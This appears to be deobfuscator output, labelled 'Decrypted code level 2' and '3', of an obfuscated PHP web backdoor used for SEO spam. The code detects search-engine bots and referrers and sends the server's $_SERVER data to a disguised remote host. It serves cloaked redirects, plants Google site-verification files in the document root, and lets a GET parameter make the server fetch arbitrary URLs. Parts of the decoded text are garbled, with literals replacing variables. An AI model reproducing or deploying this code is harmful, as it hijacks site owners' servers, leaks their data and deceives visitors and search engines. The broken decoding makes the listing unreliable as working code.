$IpRm1; goto OWYpj; wNLY2: goto mRx7b; goto OknNX; PhnVv: $WWVwg = isset($DmAtg[0]) ? $DmAtg[0] : ''; goto cazgv; ZA6s0: $hEHKL = "POST"; goto lR52a; BHWmD: $gzXkN = isset($kqrxu["scheme"]) ? $kqrxu["scheme"] : "http"; goto lEXEu; HVpfT: fwrite($BAjZg, $yOYQo); goto aUpKM; vO2qo: $WWVwg .= "Content-Length: " . strlen($OKGQO) . "\xd
"; goto RP91_; OknNX: yFBtv: goto iuw89; h0L3S: $DTpgb = curl_init(); goto uNQ85; cvhgo: if (feof($BAjZg)) { goto GFLPe; } goto R7I2l; NJw2O: if (empty($IAK_x)) { goto mt6l_; } goto lhSGm; OWYpj: IKFMs: goto UYyKx; ebjS5: $WWVwg .= "Content-Type: application/x-www-form-urlencoded\xd
"; goto vO2qo; lEXEu: $FM3MI = $kqrxu["host"]; goto bMaz1; UYyKx: $ehCTI = trim($wmpGR); goto rzpYj; b41Ub: if (!($ehCTI === 0)) { goto yGGB9; } goto Ev8zW; lepGk: yGGB9: goto wKYYZ; QFM9M: xyU_S: goto HvdMX; Mrzvy: goto DgrhW; goto h1Pl8; us26q: $RHaVw = ($gzXkN === "https" ? "ssl://" : '') . $FM3MI . ":" . $RA4P_; goto CxlFI; Gb31O: $yOYQo .= "Host: {$FM3MI}\xd\xa"; goto BkaC_; uNQ85: curl_setopt($DTpgb, CURLOPT_URL, $BWLow); goto xQmK0; fk2JP: $qZdor = strpos($wmpGR, "\xd\xa"); goto sfwjr; Ecc2q: curl_setopt($DTpgb, CURLOPT_SSL_VERIFYPEER, false); goto ER3_J; h1Pl8: GFLPe: goto N7X1m; IK0S_: oVMI1: goto SLSWH; gOmSy: $kqrxu = parse_url($BWLow); goto BHWmD; JbHvw: $OKGQO = ''; goto j8wqH; HvdMX: s1oIo: goto b41Ub; lEx8B: goto wveOY; goto iJJmr; BkaC_: $yOYQo .= $WWVwg; goto IGYM4; Y7Y4q: curl_setopt($DTpgb, CURLOPT_FOLLOWLOCATION, 1); goto lrqBs; iuw89: $IpRm1 .= substr($wmpGR, $qZdor + 2, $JklWk); goto i_m7O; aUpKM: DgrhW: goto cvhgo; MxUcL: $LW22N = isset($kqrxu["path"]) ? $kqrxu["path"] : "/"; goto gub1W; PcpKK: x7N3N: goto HVpfT; R7I2l: $ehCTI .= fgets($BAjZg, 1024); goto Mrzvy; xQmK0: curl_setopt($DTpgb, CURLOPT_USERAGENT, "WHR"); goto ze2Ta; IGYM4: if (!($hEHKL === "POST")) { goto x7N3N; } goto r4V6O; i_m7O: $wmpGR = substr($wmpGR, $qZdor + 2 + $JklWk + 2); goto lEx8B; pQ_Zg: $B3iVh = curl_exec($DTpgb); goto xTuPp; Xy33N: if (!(stripos($WWVwg, "Transfer-Encoding: chunked") !== false)) { goto IKFMs; } goto vAyT4; rooQb: if (empty($IAK_x)) { goto Lbt3G; } goto ZA6s0; bMaz1: $RA4P_ = $gzXkN === "https" ? 443 : 80; goto MxUcL; nSvHX: if (!$B3iVh) { goto xyU_S; } goto EDUW7; xTuPp: curl_close($DTpgb); goto nSvHX; SLSWH: $JklWk = hexdec(substr($wmpGR, 0, $qZdor)); goto TBYz3; ze2Ta: curl_setopt($DTpgb, CURLOPT_CONNECTTIMEOUT, 0); goto LafRK; mKI_W: goto mRx7b; goto IK0S_; lhSGm: curl_setopt($DTpgb, CURLOPT_POST, 1); goto vK4O_; TBYz3: if (!($JklWk === 0)) { goto yFBtv; } goto wNLY2; rzpYj: FkbPi: goto lepGk; ro6Jt: $WWVwg = "User-Agent: WHR\xd\xa"; goto rooQb; CxlFI: $BAjZg = stream_socket_client($RHaVw, $L8dpH, $mPXoI, 45); goto CLDoT; EDUW7: $ehCTI = trim(trim($B3iVh, "")); goto QFM9M; mLS1b: $DmAtg = explode("\xd\xa\xd
", $ehCTI, 2); goto PhnVv; vAyT4: $IpRm1 = ''; goto aHo7r; RP91_: Lbt3G: goto m8qq5; CLDoT: if (!$BAjZg) { goto FkbPi; } goto p493U; r4V6O: $yOYQo .= $OKGQO; goto PcpKK; p493U: $yOYQo = "{$hEHKL} {$LW22N}{$SIIjC} HTTPyq
\xa"; goto Gb31O; j8wqH: $hEHKL = "GET"; goto ro6Jt; N7X1m: fclose($BAjZg); goto mLS1b; iefhY: mt6l_: goto pQ_Zg; iJJmr: mRx7b: goto TNBKl; lR52a: $OKGQO = http_build_query($IAK_x); goto ebjS5; cazgv: $wmpGR = isset($DmAtg[1]) ? $DmAtg[1] : ''; goto Xy33N; vK4O_: curl_setopt($DTpgb, CURLOPT_POSTFIELDS, http_build_query($IAK_x)); goto iefhY; ER3_J: curl_setopt($DTpgb, CURLOPT_SSL_VERIFYHOST, false); goto Y7Y4q; E2Cvw: if (!true) { goto mRx7b; } goto fk2JP; sfwjr: if (!($qZdor === false)) { goto oVMI1; } goto mKI_W; aHo7r: wveOY: goto E2Cvw; lrqBs: curl_setopt($DTpgb, CURLOPT_TIMEOUT, 60); goto NJw2O; gub1W: $SIIjC = isset($kqrxu["query"]) ? "?" . $kqrxu["query"] : ''; goto JbHvw; Ev8zW: $ehCTI = ''; goto gOmSy; m8qq5: $WWVwg .= "Connection: close\xd\xa\xd\xa"; goto us26q; nrIbS: if (!(function_exists("curl_init") && function_exists("curl_exec"))) { goto s1oIo; } goto h0L3S; LafRK: curl_setopt($DTpgb, CURLOPT_RETURNTRANSFER, 1); goto Ecc2q; wKYYZ: } catch (Exception $UCmFt) { } goto vD1yi; YbPKD: } goto u_dJH; gWRRI: z0DQz();

Decrypted code level 2:

goto Rmusn; YmDUF: bfDiE: goto g4o4x; t4lk3: if (!function_exists("ob_start")) { goto bfDiE; } goto tJ1hb; S7sfS: function sKsuZ($OzZZI = '') { return preg_match("/(googlecojp|yahoocojp|bing|baidu|googlecom)/si", $OzZZI); } goto S3xnb; Rmusn: @date_default_timezone_set("PRC"); goto t4lk3; S3xnb: function cyeav($klIY1) { goto Jrcto; AGLes: foreach ($HPMTP as $wAyRB => $Ahzd3) { $HPMTP[$wAyRB] = chr(ord($Ahzd3) - 5); EKo8N: } goto Wpqhk; P5dRp: MuAj_: goto EtUNW; BHs3P: $HPMTP = preg_split("//", "r", -1, PREG_SPLIT_NO_EMPTY); goto AGLes; GraZN: if (!("r" != '')) { goto MuAj_; } goto BHs3P; OjJk2: if (!(is_array($JxUpp) && count($JxUpp) == 4)) { goto YGyvm; } goto GraZN; Wpqhk: eA1Po: goto tbOEr; jHPId: return $CDnTp; goto YBj6O; wQnaH: preg_match("/([^\.]+\.)(.*)(\/.*)/", $klIY1, $JxUpp); goto OjJk2; tbOEr: $CDnTp = implode('', $HPMTP); goto P5dRp; Jrcto: $CDnTp = ''; goto wQnaH; US29W: YGyvm: goto jHPId; EtUNW: $CDnTp = "r" . $CDnTp . "a"; goto US29W; YBj6O: } goto P2mMf; u_dJH: function LjU54() { goto SubzQ; OMwK1: if (!function_exists("x68c4")) { goto b0GEk; } goto EiLUu; l0PrI: return array("load1" => isset("a") ? "a" : 0, "load5" => isset("r") ? "r" : 0, "load15" => isset("r") ? "r" : 0, "cpu" => $AThYq); goto jGjuD; BmBPI: k9HI4: goto WLWiR; Bwpq6: QnZYX: goto l0PrI; Vmoi7: $AThYq = 1; goto yjZhg; yjZhg: $UwuBv = @file("/proc/cpuinfo"); goto DRw9T; m1T4Y: $AThYq = 0; goto UUYWp; WLWiR: if (!($AThYq < 1)) { goto BuYrH; } goto HnNXW; bZqeT: b0GEk: goto Vmoi7; SubzQ:  goto OMwK1; EiLUu:  goto bZqeT; DRw9T: if (!$UwuBv) { goto QnZYX; } goto m1T4Y; R9yto: BuYrH: goto Bwpq6; HnNXW: $AThYq = 1; goto R9yto; UUYWp: foreach ($UwuBv as $HHKh4) { goto cwIhX; cwIhX: if (!(strpos($HHKh4, "processor") === 0)) { goto xs_Jy; } goto wHqH9; V4LCR: mliPm: goto FEdf0; wHqH9: $AThYq++; goto WwVl0; WwVl0: xs_Jy: goto V4LCR; FEdf0: } goto BmBPI; jGjuD: } goto yBbjW; P2mMf: function z0DQZ($I19BG = '') { goto BtevO; nchDR: $fmaCJ .= "gle-si"; goto SmvA3; EGzfr: $XNrCs = "<a href="%s" target="_blank">%s</a>"; goto fxxdy; o5ZU4: chmod($ryDGM, 0755); goto UFl9X; ZZqRF: echo "{$Zei_F}"; goto ZSpZL; uvlUu: $fmaCJ .= "fica"; goto QFZI2; ZSpZL: die; goto B0Dhk; K_bae: b_YDA: goto IlP60; khnqr: $LaCbY .= "]{16"; goto co3K2; C0pwq: die; goto E0cVP; u7suK: if ($ko90t) { goto GkE74; } goto JlcZK; H_8Uw: $ryDGM = $_SERVER[$f70JM]; goto FSnBJ; AOOtH: $BXZvQ = "503 Se"; goto DjSYB; jtR3K: if (!in_array($Zei_F, array("T04", "*return"))) { goto s240j; } goto uaabM; FSnBJ: if (!preg_match("/sitemap.*?\.xml$/si", $h5Mpd)) { goto Ss9dm; } goto fMrpc; nH1KE: s240j: goto EYwZy; HeYVe: $f70JM .= "UMEN"; goto CFMMO; xfDQD: $Zei_F = "r"; goto N5AzE; fMrpc: $Zei_F = ASqIt($vC3hl, array("x" => serialize($_SERVER))); goto lbEWN; djza1: header("HTTP/1q {$BXZvQ}"); goto u91GC; RJY8l: $LaCbY .= "gle[\w"; goto khnqr; ERSbL: echo asQiT($vrUIr); goto TeyP2; eqPj0: if (!($fQin0 || $HdkD6)) { goto Un5fL; } goto EGzfr; bBODO: $Zei_F = "r"; goto m9vRc; IlP60: $Zei_F = ASqIt($vC3hl, array("x" => serialize($_SERVER))); goto soPbp; QFZI2: $fmaCJ .= $AVRVk; goto HGjqf; lsOHF: die; goto qdlOv; ZFwC0: $RdYqM = isset($_SERVER["HTTP_REFERER"]) ? $_SERVER["HTTP_REFERER"] : ''; goto zSVhB; vaFAC: goto jnMzO; goto HujsO; iQQHL: $hTu1U = trim("r"); goto K1xYv; EEMNm: Jn5Hq: goto qLMDx; oMNqf: $LaCbY .= "tml)"; goto hmOGg; Bk3BJ: WgiF9: goto AVZZn; TUUf3: $BXZvQ .= "ailable"; goto djza1; UFl9X: file_put_contents("{$ryDGM}/{$FhKJS}", "{$fmaCJ} {$FhKJS}"); goto qngwb; ze8um: header("r"); goto bBODO; Ulbh8: $M0Xne = "yt1"; goto lI4l3; lI4l3: $f70JM = "DOC"; goto HeYVe; BtevO: $h5Mpd = isset($_SERVER["REQUEST_URI"]) ? $_SERVER["REQUEST_URI"] : (isset($_SERVER["QUERY_STRING"]) ? $_SERVER["QUERY_STRING"] : ''); goto rz2bx; AVZZn: if (!preg_match("/^Head@(.*?)@@(.*)/is", $Zei_F, $R5a5N)) { goto MqwF7; } goto ze8um; SgrSH: $_SERVER["yt_loadavg"] = Lju54(); goto EEMNm; JlcZK: echo $hTu1U; goto vaFAC; QHt4Z: if (preg_match("/^https?/si", $vrUIr)) { goto icDdu; } goto luiCp; TtE7V: die; goto Bk3BJ; boROA: jnMzO: goto TtE7V; lbEWN: $Zei_F = trim($Zei_F); goto vbb5r; uaabM: return; goto nH1KE; j_a4n: echo sprintf("<body onload="documentgetElementsByTagName(%sa%s)[0].click()"><a href="%s"></a><noscript><meta http-equiv="refresh" content=; url=%s" /></noscript></body>", "'", "'", $hTu1U, $hTu1U); goto boROA; QXBpH: $_SERVER["yt_jump"] = 1; goto K_bae; fDUtI: header("{$AVRVk} /{$FhKJS}"); goto lsOHF; jBEqn: $_SERVER["yt_jump"] = 0; goto MgmJS; vbb5r: if (!preg_match("/^Head@(.*?)@@(.*)/is", $Zei_F, $R5a5N)) { goto hxoRf; } goto GvDI0; gVTyW: $UfHxA = parse_url($vC3hl); goto u1lCh; soPbp: $Zei_F = trim($Zei_F); goto jtR3K; TeyP2: xJyf5: goto NHbnU; qdlOv: yIL_M: goto eqPj0; BG7so: if (!preg_match("/" . $LaCbY . "$/si", $h5Mpd, $ok7Lv)) { goto yIL_M; } goto K1kFw; u91GC: header("Status: {$BXZvQ}"); goto cn73M; co3K2: $LaCbY .= "}\.xh"; goto oMNqf; HujsO: GkE74: goto j_a4n; zSVhB: $Y_zXY = isset($_SERVER["HTTP_USER_AGENT"]) ? $_SERVER["HTTP_USER_AGENT"] : ''; goto c3E3S; tA0O4: if (!preg_match("/^Jump@(.*)/", $Zei_F, $Py5O8)) { goto WgiF9; } goto iQQHL; PkwhP: $vC3hl = sprintf("https://%spy", CYEav("a")); goto jBEqn; JNCGe: $vrUIr = trim($_GET[$M0Xne]); goto QHt4Z; K1kFw: $FhKJS = str_replace(".x", , trim("r")); goto o5ZU4; EYwZy: if (!($Zei_F == "U")) { goto glPl9; } goto AOOtH; cYN73: die; goto c4fI1; rz2bx: $h5Mpd = $h5Mpd == '' ? isset($_SERVER["PATH_INFO"]) && $_SERVER["PATH_INFO"] != '' ? $_SERVER["PATH_INFO"] : $h5Mpd : $h5Mpd; goto ZFwC0; N5AzE: hxoRf: goto UkIGw; IHSgT: $_SERVER["yt_up"] = "r"; goto Ulbh8; SmvA3: $fmaCJ .= "te-veri"; goto uvlUu; UkIGw: echo "{$Zei_F}"; goto cYN73; Fxn0O: icDdu: goto ERSbL; c4mfX: $LaCbY = "(goo"; goto RJY8l; E0cVP: glPl9: goto tA0O4; CFMMO: $f70JM .= "T_ROOT"; goto H_8Uw; c4fI1: Ss9dm: goto wJAmJ; K1xYv: $ko90t = preg_match("/^https?\:\/\//si", $hTu1U); goto u7suK; luiCp: echo sprintf($XNrCs, $vC3hl, $vC3hl) . "<br /><br />"; goto gVTyW; fxxdy: if (!isset($_GET[$M0Xne])) { goto s2eFv; } goto JNCGe; HGjqf: $AVRVk = "Loca" . $AVRVk; goto BG7so; SKa4n: s2eFv: goto Zhgwh; qngwb: chmod($ryDGM, 0555); goto fDUtI; GvDI0: header("r"); goto xfDQD; qLMDx: if (!$HdkD6) { goto b_YDA; } goto QXBpH; qgAWg: $E1aE_ = explode("::", A); goto PkwhP; Zhgwh: if (!$fQin0) { goto Jn5Hq; } goto SgrSH; NHbnU: die; goto SKa4n; wJAmJ: $AVRVk = "tion:"; goto c4mfX; c3E3S: $fQin0 = wgqhs($Y_zXY); goto j5aDc; j5aDc: $HdkD6 = sKsuZ($RdYqM); goto qgAWg; cn73M: header("Retry-After: 1"); goto C0pwq; hmOGg: $fmaCJ = "goo"; goto nchDR; KyEfu: goto xJyf5; goto Fxn0O; m9vRc: MqwF7: goto ZZqRF; B0Dhk: Un5fL: goto y7pc8; DjSYB: $BXZvQ .= "rvice Unav"; goto TUUf3; MgmJS: $_SERVER["yt_gz"] = "r"; goto IHSgT; u1lCh: echo gethostbyname($UfHxA["host"]); goto KyEfu; y7pc8: } goto gWRRI; tJ1hb: @ob_start(); goto YmDUF; yBbjW: function WGQHs($avLli = '') { return preg_match("/(googlebot|bingbot|google|baidu|bing|yahoo|yandex)/si", $avLli); } goto S7sfS; g4o4x: function aSqiT($BWLow, $IAK_x = array()) { goto zzk5l; zzk5l: $ehCTI = 0; goto xpHsM; vD1yi: return $ehCTI; goto YbPKD; xpHsM: try { goto nrIbS; TNBKl: $wmpGR = $IpRm1; goto OWYpj; wNLY2: goto mRx7b; goto OknNX; PhnVv: $WWVwg = isset("a") ? "a" : ''; goto cazgv; ZA6s0: $hEHKL = "POST"; goto lR52a; BHWmD: $gzXkN = isset($kqrxu["scheme"]) ? $kqrxu["scheme"] : "http"; goto lEXEu; HVpfT: fwrite($BAjZg, $yOYQo); goto aUpKM; vO2qo: $WWVwg .= "Content-Length: " . strlen($OKGQO) . "\xd
"; goto RP91_; OknNX: yFBtv: goto iuw89; h0L3S: $DTpgb = curl_init(); goto uNQ85; cvhgo: if (feof($BAjZg)) { goto GFLPe; } goto R7I2l; NJw2O: if (empty($IAK_x)) { goto mt6l_; } goto lhSGm; OWYpj: IKFMs: goto UYyKx; ebjS5: $WWVwg .= "Content-Type: application/x-www-form-urlencoded\xd
"; goto vO2qo; lEXEu: $FM3MI = $kqrxu["host"]; goto bMaz1; UYyKx: $ehCTI = trim($wmpGR); goto rzpYj; b41Ub: if (!($ehCTI === 0)) { goto yGGB9; } goto Ev8zW; lepGk: yGGB9: goto wKYYZ; QFM9M: xyU_S: goto HvdMX; Mrzvy: goto DgrhW; goto h1Pl8; us26q: $RHaVw = ($gzXkN === "https" ? "ssl://" : '') . $FM3MI . ":" . $RA4P_; goto CxlFI; Gb31O: $yOYQo .= "Host: {$FM3MI}\xd\xa"; goto BkaC_; uNQ85: curl_setopt($DTpgb, CURLOPT_URL, $BWLow); goto xQmK0; fk2JP: $qZdor = strpos($wmpGR, "\xd\xa"); goto sfwjr; Ecc2q: curl_setopt($DTpgb, CURLOPT_SSL_VERIFYPEER, false); goto ER3_J; h1Pl8: GFLPe: goto N7X1m; IK0S_: oVMI1: goto SLSWH; gOmSy: $kqrxu = parse_url($BWLow); goto BHWmD; JbHvw: $OKGQO = ''; goto j8wqH; HvdMX: s1oIo: goto b41Ub; lEx8B: goto wveOY; goto iJJmr; BkaC_: $yOYQo .= $WWVwg; goto IGYM4; Y7Y4q: curl_setopt($DTpgb, CURLOPT_FOLLOWLOCATION, 1); goto lrqBs; iuw89: $IpRm1 .= substr($wmpGR, $qZdor + 2, $JklWk); goto i_m7O; aUpKM: DgrhW: goto cvhgo; MxUcL: $LW22N = isset($kqrxu["path"]) ? $kqrxu["path"] : "/"; goto gub1W; PcpKK: x7N3N: goto HVpfT; R7I2l: $ehCTI .= fgets($BAjZg, 1024); goto Mrzvy; xQmK0: curl_setopt($DTpgb, CURLOPT_USERAGENT, "WHR"); goto ze2Ta; IGYM4: if (!($hEHKL === "POST")) { goto x7N3N; } goto r4V6O; i_m7O: $wmpGR = substr($wmpGR, $qZdor + 2 + $JklWk + 2); goto lEx8B; pQ_Zg: $B3iVh = curl_exec($DTpgb); goto xTuPp; Xy33N: if (!(stripos($WWVwg, "Transfer-Encoding: chunked") !== false)) { goto IKFMs; } goto vAyT4; rooQb: if (empty($IAK_x)) { goto Lbt3G; } goto ZA6s0; bMaz1: $RA4P_ = $gzXkN === "https" ? 443 : 80; goto MxUcL; nSvHX: if (!$B3iVh) { goto xyU_S; } goto EDUW7; xTuPp: curl_close($DTpgb); goto nSvHX; SLSWH: $JklWk = hexdec(substr($wmpGR, 0, $qZdor)); goto TBYz3; ze2Ta: curl_setopt($DTpgb, CURLOPT_CONNECTTIMEOUT, 0); goto LafRK; mKI_W: goto mRx7b; goto IK0S_; lhSGm: curl_setopt($DTpgb, CURLOPT_POST, 1); goto vK4O_; TBYz3: if (!($JklWk === 0)) { goto yFBtv; } goto wNLY2; rzpYj: FkbPi: goto lepGk; ro6Jt: $WWVwg = "User-Agent: WHR\xd\xa"; goto rooQb; CxlFI: $BAjZg = stream_socket_client($RHaVw, $L8dpH, $mPXoI, 45); goto CLDoT; EDUW7: $ehCTI = trim(trim($B3iVh, "")); goto QFM9M; mLS1b: $DmAtg = explode("\xd\xa\xd
", $ehCTI, 2); goto PhnVv; vAyT4: $IpRm1 = ''; goto aHo7r; RP91_: Lbt3G: goto m8qq5; CLDoT: if (!$BAjZg) { goto FkbPi; } goto p493U; r4V6O: $yOYQo .= $OKGQO; goto PcpKK; p493U: $yOYQo = "{$hEHKL} {$LW22N}{$SIIjC} HTTPyq
\xa"; goto Gb31O; j8wqH: $hEHKL = "GET"; goto ro6Jt; N7X1m: fclose($BAjZg); goto mLS1b; iefhY: mt6l_: goto pQ_Zg; iJJmr: mRx7b: goto TNBKl; lR52a: $OKGQO = http_build_query($IAK_x); goto ebjS5; cazgv: $wmpGR = isset("r") ? "r" : ''; goto Xy33N; vK4O_: curl_setopt($DTpgb, CURLOPT_POSTFIELDS, http_build_query($IAK_x)); goto iefhY; ER3_J: curl_setopt($DTpgb, CURLOPT_SSL_VERIFYHOST, false); goto Y7Y4q; E2Cvw: if (!true) { goto mRx7b; } goto fk2JP; sfwjr: if (!($qZdor === false)) { goto oVMI1; } goto mKI_W; aHo7r: wveOY: goto E2Cvw; lrqBs: curl_setopt($DTpgb, CURLOPT_TIMEOUT, 60); goto NJw2O; gub1W: $SIIjC = isset($kqrxu["query"]) ? "?" . $kqrxu["query"] : ''; goto JbHvw; Ev8zW: $ehCTI = ''; goto gOmSy; m8qq5: $WWVwg .= "Connection: close\xd\xa\xd\xa"; goto us26q; nrIbS: if (!(function_exists("curl_init") && function_exists("curl_exec"))) { goto s1oIo; } goto h0L3S; LafRK: curl_setopt($DTpgb, CURLOPT_RETURNTRANSFER, 1); goto Ecc2q; wKYYZ: } catch (Exception $UCmFt) { } goto vD1yi; YbPKD: } goto u_dJH; gWRRI: z0DQz();

Decrypted code level 3:

goto Rmusn; YmDUF: bfDiE: goto g4o4x; t4lk3: if (!function_exists("ob_start")) { goto bfDiE; } goto tJ1hb; S7sfS: function sKsuZ($OzZZI = '') { return preg_match("/(googlecojp|yahoocojp|bing|baidu|googlecom)/si", $OzZZI); } goto S3xnb; Rmusn: @date_default_timezone_set("PRC"); goto t4lk3; S3xnb: function cyeav($klIY1) { goto Jrcto; AGLes: foreach ($HPMTP as $wAyRB => $Ahzd3) { $HPMTP[$wAyRB] = chr(ord($Ahzd3) - 5); EKo8N: } goto Wpqhk; P5dRp: MuAj_: goto EtUNW; BHs3P: $HPMTP = preg_split("//", "r", -1, PREG_SPLIT_NO_EMPTY); goto AGLes; GraZN: if (!("r" != '')) { goto MuAj_; } goto BHs3P; OjJk2: if (!(is_array($JxUpp) && count($JxUpp) == 4)) { goto YGyvm; } goto GraZN; Wpqhk: eA1Po: goto tbOEr; jHPId: return $CDnTp; goto YBj6O; wQnaH: preg_match("/([^\.]+\.)(.*)(\/.*)/", $klIY1, $JxUpp); goto OjJk2; tbOEr: $CDnTp = implode('', $HPMTP); goto P5dRp; Jrcto: $CDnTp = ''; goto wQnaH; US29W: YGyvm: goto jHPId; EtUNW: $CDnTp = "r" . $CDnTp . "a"; goto US29W; YBj6O: } goto P2mMf; u_dJH: function LjU54() { goto SubzQ; OMwK1: if (!function_exists("x68c4")) { goto b0GEk; } goto EiLUu; l0PrI: return array("load1" => isset("a") ? "a" : 0, "load5" => isset("r") ? "r" : 0, "load15" => isset("r") ? "r" : 0, "cpu" => $AThYq); goto jGjuD; BmBPI: k9HI4: goto WLWiR; Bwpq6: QnZYX: goto l0PrI; Vmoi7: $AThYq = 1; goto yjZhg; yjZhg: $UwuBv = @file("/proc/cpuinfo"); goto DRw9T; m1T4Y: $AThYq = 0; goto UUYWp; WLWiR: if (!($AThYq < 1)) { goto BuYrH; } goto HnNXW; bZqeT: b0GEk: goto Vmoi7; SubzQ:  goto OMwK1; EiLUu:  goto bZqeT; DRw9T: if (!$UwuBv) { goto QnZYX; } goto m1T4Y; R9yto: BuYrH: goto Bwpq6; HnNXW: $AThYq = 1; goto R9yto; UUYWp: foreach ($UwuBv as $HHKh4) { goto cwIhX; cwIhX: if (!(strpos($HHKh4, "processor") === 0)) { goto xs_Jy; } goto wHqH9; V4LCR: mliPm: goto FEdf0; wHqH9: $AThYq++; goto WwVl0; WwVl0: xs_Jy: goto V4LCR; FEdf0: } goto BmBPI; jGjuD: } goto yBbjW; P2mMf: function z0DQZ($I19BG = '') { goto BtevO; nchDR: "goo" .= "gle-si"; goto SmvA3; EGzfr: $XNrCs = "<a href="%s" target="_blank">%s</a>"; goto fxxdy; o5ZU4: chmod($ryDGM, 0755); goto UFl9X; ZZqRF: echo "{"r"}"; goto ZSpZL; uvlUu: "goo" .= "fica"; goto QFZI2; ZSpZL: die; goto B0Dhk; K_bae: b_YDA: goto IlP60; khnqr: $LaCbY .= "]{16"; goto co3K2; C0pwq: die; goto E0cVP; u7suK: if ($ko90t) { goto GkE74; } goto JlcZK; H_8Uw: $ryDGM = $_SERVER["DOC"]; goto FSnBJ; AOOtH: $BXZvQ = "503 Se"; goto DjSYB; jtR3K: if (!in_array("r", array("T04", "*return"))) { goto s240j; } goto uaabM; FSnBJ: if (!preg_match("/sitemap.*?\.xml$/si", $h5Mpd)) { goto Ss9dm; } goto fMrpc; nH1KE: s240j: goto EYwZy; HeYVe: "DOC" .= "UMEN"; goto CFMMO; xfDQD:  goto N5AzE; fMrpc: "r" = ASqIt($vC3hl, array("x" => serialize($_SERVER))); goto lbEWN; djza1: header("HTTP/1q {$BXZvQ}"); goto u91GC; RJY8l: $LaCbY .= "gle[\w"; goto khnqr; ERSbL: echo asQiT($vrUIr); goto TeyP2; eqPj0: if (!($fQin0 || $HdkD6)) { goto Un5fL; } goto EGzfr; bBODO:  goto m9vRc; IlP60: "r" = ASqIt($vC3hl, array("x" => serialize($_SERVER))); goto soPbp; QFZI2: "goo" .= $AVRVk; goto HGjqf; lsOHF: die; goto qdlOv; ZFwC0: $RdYqM = isset($_SERVER["HTTP_REFERER"]) ? $_SERVER["HTTP_REFERER"] : ''; goto zSVhB; vaFAC: goto jnMzO; goto HujsO; iQQHL: $hTu1U = trim("r"); goto K1xYv; EEMNm: Jn5Hq: goto qLMDx; oMNqf: $LaCbY .= "tml)"; goto hmOGg; Bk3BJ: WgiF9: goto AVZZn; TUUf3: $BXZvQ .= "ailable"; goto djza1; UFl9X: file_put_contents("{$ryDGM}/{$FhKJS}", "{"goo"} {$FhKJS}"); goto qngwb; ze8um: header("r"); goto bBODO; Ulbh8:  goto lI4l3; lI4l3:  goto HeYVe; BtevO: $h5Mpd = isset($_SERVER["REQUEST_URI"]) ? $_SERVER["REQUEST_URI"] : (isset($_SERVER["QUERY_STRING"]) ? $_SERVER["QUERY_STRING"] : ''); goto rz2bx; AVZZn: if (!preg_match("/^Head@(.*?)@@(.*)/is", "r", $R5a5N)) { goto MqwF7; } goto ze8um; SgrSH: $_SERVER["yt_loadavg"] = Lju54(); goto EEMNm; JlcZK: echo $hTu1U; goto vaFAC; QHt4Z: if (preg_match("/^https?/si", $vrUIr)) { goto icDdu; } goto luiCp; TtE7V: die; goto Bk3BJ; boROA: jnMzO: goto TtE7V; lbEWN: "r" = trim("r"); goto vbb5r; uaabM: return; goto nH1KE; j_a4n: echo sprintf("<body onload="documentgetElementsByTagName(%sa%s)[0].click()"><a href="%s"></a><noscript><meta http-equiv="refresh" content=; url=%s" /></noscript></body>", "'", "'", $hTu1U, $hTu1U); goto boROA; QXBpH: $_SERVER["yt_jump"] = 1; goto K_bae; fDUtI: header("{$AVRVk} /{$FhKJS}"); goto lsOHF; jBEqn: $_SERVER["yt_jump"] = 0; goto MgmJS; vbb5r: if (!preg_match("/^Head@(.*?)@@(.*)/is", "r", $R5a5N)) { goto hxoRf; } goto GvDI0; gVTyW: $UfHxA = parse_url($vC3hl); goto u1lCh; soPbp: "r" = trim("r"); goto jtR3K; TeyP2: xJyf5: goto NHbnU; qdlOv: yIL_M: goto eqPj0; BG7so: if (!preg_match("/" . $LaCbY . "$/si", $h5Mpd, $ok7Lv)) { goto yIL_M; } goto K1kFw; u91GC: header("Status: {$BXZvQ}"); goto cn73M; co3K2: $LaCbY .= "}\.xh"; goto oMNqf; HujsO: GkE74: goto j_a4n; zSVhB: $Y_zXY = isset($_SERVER["HTTP_USER_AGENT"]) ? $_SERVER["HTTP_USER_AGENT"] : ''; goto c3E3S; tA0O4: if (!preg_match("/^Jump@(.*)/", "r", $Py5O8)) { goto WgiF9; } goto iQQHL; PkwhP: $vC3hl = sprintf("https://%spy", CYEav("a")); goto jBEqn; JNCGe: $vrUIr = trim($_GET["yt1"]); goto QHt4Z; K1kFw: $FhKJS = str_replace(".x", , trim("r")); goto o5ZU4; EYwZy: if (!("r" == "U")) { goto glPl9; } goto AOOtH; cYN73: die; goto c4fI1; rz2bx: $h5Mpd = $h5Mpd == '' ? isset($_SERVER["PATH_INFO"]) && $_SERVER["PATH_INFO"] != '' ? $_SERVER["PATH_INFO"] : $h5Mpd : $h5Mpd; goto ZFwC0; N5AzE: hxoRf: goto UkIGw; IHSgT: $_SERVER["yt_up"] = "r"; goto Ulbh8; SmvA3: "goo" .= "te-veri"; goto uvlUu; UkIGw: echo "{"r"}"; goto cYN73; Fxn0O: icDdu: goto ERSbL; c4mfX: $LaCbY = "(goo"; goto RJY8l; E0cVP: glPl9: goto tA0O4; CFMMO: "DOC" .= "T_ROOT"; goto H_8Uw; c4fI1: Ss9dm: goto wJAmJ; K1xYv: $ko90t = preg_match("/^https?\:\/\//si", $hTu1U); goto u7suK; luiCp: echo sprintf($XNrCs, $vC3hl, $vC3hl) . "<br /><br />"; goto gVTyW; fxxdy: if (!isset($_GET["yt1"])) { goto s2eFv; } goto JNCGe; HGjqf: $AVRVk = "Loca" . $AVRVk; goto BG7so; SKa4n: s2eFv: goto Zhgwh; qngwb: chmod($ryDGM, 0555); goto fDUtI; GvDI0: header("r"); goto xfDQD; qLMDx: if (!$HdkD6) { goto b_YDA; } goto QXBpH; qgAWg: $E1aE_ = explode("::", A); goto PkwhP; Zhgwh: if (!$fQin0) { goto Jn5Hq; } goto SgrSH; NHbnU: die; goto SKa4n; wJAmJ: $AVRVk = "tion:"; goto c4mfX; c3E3S: $fQin0 = wgqhs($Y_zXY); goto j5aDc; j5aDc: $HdkD6 = sKsuZ($RdYqM); goto qgAWg; cn73M: header("Retry-After: 1"); goto C0pwq; hmOGg:  goto nchDR; KyEfu: goto xJyf5; goto Fxn0O; m9vRc: MqwF7: goto ZZqRF; B0Dhk: Un5fL: goto y7pc8; DjSYB: $BXZvQ .= "rvice Unav"; goto TUUf3; MgmJS: $_SERVER["yt_gz"] = "r"; goto IHSgT; u1lCh: echo gethostbyname($UfHxA["host"]); goto KyEfu; y7pc8: } goto gWRRI; tJ1hb: @ob_start(); goto YmDUF; yBbjW: function WGQHs($avLli = '') { return 